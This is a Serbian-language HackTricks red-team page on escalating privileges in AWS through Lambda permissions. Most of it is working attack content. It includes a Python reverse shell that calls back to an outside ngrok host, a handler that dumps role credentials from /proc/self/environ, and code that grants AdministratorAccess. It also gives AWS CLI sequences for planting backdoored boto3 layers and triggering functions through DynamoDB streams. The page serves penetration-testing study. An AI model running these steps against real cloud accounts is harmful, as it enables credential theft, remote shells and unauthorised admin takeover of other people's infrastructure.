AWS - Lambda Privesc

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

lambda

Više informacija o lambda funkcijama:

AWS - Lambda Enum

iam:PassRole, lambda:CreateFunction, (lambda:InvokeFunction | lambda:InvokeFunctionUrl)

Korisnici sa dozvolama iam:PassRole, lambda:CreateFunction, i lambda:InvokeFunction mogu eskalirati svoje privilegije. Mogu kreirati novu Lambda funkciju i dodeliti joj postojeću IAM ulogu, dajući funkciji dozvole povezane sa tom ulogom. Korisnik može zatim napisati i otpremiti kod u ovu Lambda funkciju (na primer, sa reverzibilnom ljuskom). Kada je funkcija postavljena, korisnik može pokrenuti njeno izvršavanje i željene akcije pozivanjem Lambda funkcije putem AWS API-ja. Ovaj pristup omogućava korisniku da efikasno obavlja zadatke neizravno putem Lambda funkcije, radeći sa nivoom pristupa koji je odobren IAM ulozi koja je povezana sa njom.\

Napadač bi mogao iskoristiti ovo da dobije reverzibilnu ljusku i ukrade token:

rev.py
import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
# Zip the rev shell
zip "rev.zip" "rev.py"

# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip

# Invoke the function
aws lambda invoke --function-name my_function output.txt
## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL

# List roles
aws iam list-attached-user-policies --user-name <user-name>

Možete takođe zloupotrebiti dozvole uloge lambda funkcije iz same lambda funkcije. Ako je uloga lambda funkcije imala dovoljno dozvola, mogli biste je koristiti da vam dodeli administratorska prava:

import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response

Takođe je moguće procuriti akreditacije uloge lambda bez potrebe za spoljnom konekcijom. Ovo bi bilo korisno za Lambda funkcije izolovane sa mrežom korišćene za interne zadatke. Ako postoje nepoznate sigurnosne grupe koje filtriraju vaše reverzne ljuske, ovaj komad koda će vam omogućiti direktno procurivanje akreditacija kao izlaz lambda funkcije.

def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt

Potencijalni uticaj: Direktno privesc na određenu ulogu usluge lambda.

Imajte na umu da čak i ako deluje interesantno lambda:InvokeAsync ne dozvoljava samostalno izvršavanje komande aws lambda invoke-async, takođe vam je potrebno lambda:InvokeFunction

iam:PassRole, lambda:CreateFunction, lambda:AddPermission

Kao i u prethodnom scenariju, možete dodeliti sebi dozvolu lambda:InvokeFunction ako imate dozvolu lambda:AddPermission

# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"

Potencijalni uticaj: Direktno privesc na određenu ulogu usluge lambda.

iam:PassRole, lambda:CreateFunction, lambda:CreateEventSourceMapping

Korisnici sa dozvolama iam:PassRole, lambda:CreateFunction, i lambda:CreateEventSourceMapping (i potencijalno dynamodb:PutItem i dynamodb:CreateTable) mogu indirektno povećati privilegije čak i bez lambda:InvokeFunction. Mogu kreirati Lambda funkciju sa zlonamernim kodom i dodeliti joj postojeću IAM ulogu.

Umesto direktnog pozivanja Lambda funkcije, korisnik postavlja ili koristi postojeću DynamoDB tabelu, povezujući je sa Lambdom putem mapiranja izvora događaja. Ovaj setup osigurava da Lambda funkcija bude automatski pokrenuta prilikom unosa novog elementa u tabelu, bilo korisnikovom akcijom ili drugim procesom, čime se indirektno poziva Lambda funkcija i izvršava kod sa dozvolama prosleđene IAM uloge.

aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip

Ako je DynamoDB već aktivan u AWS okruženju, korisnik samo treba uspostaviti mapiranje izvora događaja za Lambda funkciju. Međutim, ako se DynamoDB ne koristi, korisnik mora kreirati novu tabelu sa omogućenim strimovanjem:

aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES

Sada je moguće povezati Lambda funkciju sa DynamoDB tabelom tako što se kreira mapiranje izvora događaja:

aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST

Kada je Lambda funkcija povezana sa DynamoDB stream-om, napadač može indirektno pokrenuti Lambda funkciju aktiviranjem DynamoDB stream-a. To se može postići ubacivanjem stavke u DynamoDB tabelu:

aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}

Potencijalni uticaj: Direktno privesc na ulogu usluge lambda navedenu.

lambda:AddPermission

Napadač sa ovlašćenjem može dodeliti sebi (ili drugima) bilo koja ovlašćenja (ovo generiše politike zasnovane na resursima za dodelu pristupa resursu):

# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>

# Invoke the function
aws lambda lambda invoke --function-name <func_name> /tmp/outout

Potencijalni uticaj: Direktno privesc na ulogu usluge lambda korišćenjem dozvole za izmenu koda i pokretanje istog.

lambda:AddLayerVersionPermission

Napadač sa ovom dozvolom može sebi (ili drugima) dodeliti dozvolu lambda:GetLayerVersion. Mogao bi pristupiti sloju i tražiti ranjivosti ili osetljive informacije.

# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

Potencijalni uticaj: Potencijalni pristup osetljivim informacijama.

lambda:UpdateFunctionCode

Korisnici koji imaju dozvolu lambda:UpdateFunctionCode imaju mogućnost da modifikuju kod postojeće Lambda funkcije koja je povezana sa IAM ulogom. Napadač može modifikovati kod lambda funkcije kako bi izfiltrirao IAM akreditive.

Iako napadač možda nema direktnu sposobnost da pozove funkciju, ako je Lambda funkcija već postojeća i operativna, verovatno je da će biti pokrenuta kroz postojeće tokove rada ili događaje, time indirektno olakšavajući izvršenje modifikovanog koda.

# Thezip should contain the lambda code (trick: DOwnload the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip

# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt

# If not check if it's exposed in any URL or via an API gateway you could access

Potencijalni uticaj: Direktno privesc na ulogu usluge lambda koja se koristi.

lambda:UpdateFunctionConfiguration

Uvod

Lambda slojevi omogućavaju uključivanje koda u vašu lambda funkciju, ali ga čuvaju odvojeno, tako da kod funkcije može ostati mali i više funkcija može deliti kod.

Unutar lambda možete proveriti putanje sa kojih se učitava Python kod pomoću funkcije poput sledeće:

import json
import sys

def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))

Ovo su mesta:

  1. /var/task

  2. /opt/python/lib/python3.7/site-packages

  3. /opt/python

  4. /var/runtime

  5. /var/lang/lib/python37.zip

  6. /var/lang/lib/python3.7

  7. /var/lang/lib/python3.7/lib-dynload

  8. /var/lang/lib/python3.7/site-packages

  9. /opt/python/lib/python3.7/site-packages

  10. /opt/python

Na primer, biblioteka boto3 se učitava iz /var/runtime/boto3 (4. pozicija).

Eksploatacija

Moguće je zloupotrebiti dozvolu lambda:UpdateFunctionConfiguration da dodamo novi sloj funkciji lambda. Da bismo izvršili proizvoljni kod, ovaj sloj mora sadržati neku biblioteku koju će lambda uvesti. Ako možete pročitati kod lambde, to možete lako pronaći, takođe imajte na umu da je moguće da lambda već koristi sloj i da možete preuzeti sloj i dodati svoj kod tamo.

Na primer, pretpostavimo da lambda koristi biblioteku boto3, ovo će kreirati lokalni sloj sa poslednjom verzijom biblioteke:

pip3 install -t ./lambda_layer boto3

Možete otvoriti ./lambda_layer/boto3/__init__.py i dodati backdoor u globalni kod (funkciju za eksfiltraciju akreditiva ili dobijanje reverznog šela na primer).

Zatim, zipujte taj ./lambda_layer direktorijum i učitajte novi lambda sloj na svoj nalog (ili na nalog žrtve, ali možda nemate dozvole za ovo). Imajte na umu da morate kreirati python folder i staviti biblioteke unutra da prepišete /opt/python/boto3. Takođe, sloj mora biti kompatibilan sa verzijom pythona koju koristi lambda i ako ga učitate na svoj nalog, mora biti u istom regionu:

aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

Sada, omogućite da je postavljeni lambda sloj dostupan svakom nalogu:

aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *

I povežite lambda sloj sa ciljnom lambda funkcijom:

aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells

Sledeći korak bio bi ili pozvati funkciju sami ako možemo ili sačekati da bude pozvana na uobičajeni način - što je sigurnija metoda.

Još prikriveniji način za iskorišćavanje ove ranjivosti može se pronaći u:

AWS - Lambda Layers Persistence

Potencijalni uticaj: Direktno povećanje privilegija na ulogu usluge lambda koja se koristi.

?iam:PassRole, lambda:CreateFunction, lambda:CreateFunctionUrlConfig, lambda:InvokeFunctionUrl

Možda s tim dozvolama možete kreirati funkciju i izvršiti je pozivajući URL... ali nisam uspeo pronaći način da to testiram, pa mi javite ako vi uspete!

Lambda MitM

Neke lambda funkcije će primali osetljive informacije od korisnika u parametrima. Ako dobijete RCE u jednoj od njih, možete izfiltrirati informacije koje drugi korisnici šalju, proverite u:

AWS - Steal Lambda Requests

Reference

Naučite hakovanje AWS-a od početka do naprednog nivoa sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated